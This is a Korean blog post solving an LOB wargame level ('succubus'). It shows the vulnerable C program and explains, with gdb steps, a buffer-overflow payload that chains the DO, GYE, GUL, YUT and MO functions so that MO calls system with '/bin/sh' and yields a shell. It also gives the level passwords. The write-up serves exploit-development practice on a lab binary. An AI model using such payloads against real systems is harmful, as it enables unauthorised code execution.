yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆

LOB 17번 풀이 (zombie_assassin) 본문

wargame 풀이/LOB

LOB 17번 풀이 (zombie_assassin)

yehey 2021. 1. 3. 14:58
id: zombie_assassin
pw: no place to hide
/*
        The Lord of the BOF : The Fellowship of the BOF
        - succubus
        - calling functions continuously
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

// the inspector
int check = 0;

void MO(char *cmd)
{
        if(check != 4)
                exit(0);

        printf("welcome to the MO!\n");

        // olleh!
        system(cmd);
}

void YUT(void)
{
        if(check != 3)
                exit(0);

        printf("welcome to the YUT!\n");
        check = 4;
}

void GUL(void)
{
        if(check != 2)
                exit(0);

        printf("welcome to the GUL!\n");
        check = 3;
}

void GYE(void)
{
        if(check != 1)
                exit(0);

        printf("welcome to the GYE!\n");
        check = 2;
}

void DO(void)
{
        printf("welcome to the DO!\n");
        check = 1;
}

main(int argc, char *argv[])
{
        char buffer[40];
        char *addr;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // you cannot use library
        if(strchr(argv[1], '\x40')){
                printf("You cannot use library\n");
                exit(0);
        }

        // check address
        addr = (char *)&DO;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with DO\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // stack destroyer
        // 100 : extra space for copied argv[1]
        memset(buffer, 0, 44);
        memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));

        // LD_* eraser
        // 40 : extra space for memset function
        memset(buffer-3000, 0, 3000-40);
}

 

  • DO, GYE, GUL, YUT, MO 함수 (도개걸윷모...?)
  • 라이브러리 함수 사용 불가
  • main의 ret는 DO 함수여야 함
  • buffer+sfp 초기화
  • ret+100 까지는 초기화가 되지 않음 
  • MO에서 system(cmd) 호출
  • 도개걸윷모를 순서대로 호출하면 전역변수 check이 MO에서 5가 됨 (힌트: calling functions conitinuously)

이번에는 MO함수가 실행되면 알아서 system 함수가 호출된다.

따라서 system 함수의 인자로 "/bin/sh"의 주소만 넣어주면 될 듯하다. (이전 문제보다 난이도는 낮은 것 같다.)

우선 DO>GYE>GUL>YUT>MO 가 순서대로 각 함수의 ret로 들어가기 위해서는 각 함수의 주소를 알아내야 한다.

 

도개걸윷모 함수의 주소를 얻었다면 이제 MO함수의 인자로 넣어줄 "/bin/sh"의 주소를 구해보자.

라이브러리 영역을 사용할 수 없기 때문에 스택 영역에 "/bin/sh"를 넣고 해당 주소를 찾아보자.

 

gdb를 이용해서 복사한 파일에 breakpoint를 걸어주고 실행시켰다

r `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+ "\x24\x87\x04\x08"+"AAAA"+"AAAA"+"\bin\sh"'`

그리고 스택을 확인해주자.

 

MO함수 주소 이후로 "AAAAAAAA"를 넣어주었다 그리고 그 이후에 /bin/sh'를 넣어주었으니 0xbffffa90+8의 주소를 혹인해보자. (사진에서는 실수해서 /bin/sh가 아니라 \bin\sh를 넣었다....)

 

'/bin/sh'가 0xbffffa98에 있기 때문에 MO의 인자로 넣어주며 실행해보자

MO함수+4에는 MO 함수 종료 후 실행될 함수의 ret가 들어간다. 따라서 dummy로 채워주자.

 

이상하게 '/bin/sh'로 고쳐서 실행해도 segmentation fault 오류가 났다.

구글링을 통해서 succubus를 복사해서 core 파일로 gdb를 실행해보았다.

 

'/bin/sh'의 주소는 똑같이 0xbffffa98 로 나왔다.

 

한번 더 payload를 입력해보았더니 쉘이 실행되었다. (왜 처음에는 실행이 안되었을까..?)

payload: ./succubus `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"\x98\xfa\xff\xbf"+"/bin/sh"'`

 

 

succubus의 pw: "here to stay"

'wargame 풀이 > LOB' 카테고리의 다른 글

LOB 19번 풀이 (nightmare)  (0) 2021.01.04
LOB 18번 풀이 (succubus)  (0) 2021.01.04
LOB 16번 풀이 (assassin)  (0) 2021.01.02
LOB 15번 풀이 (giant)  (0) 2021.01.01
LOB 14번 풀이 (bugbear)  (0) 2020.12.31
Comments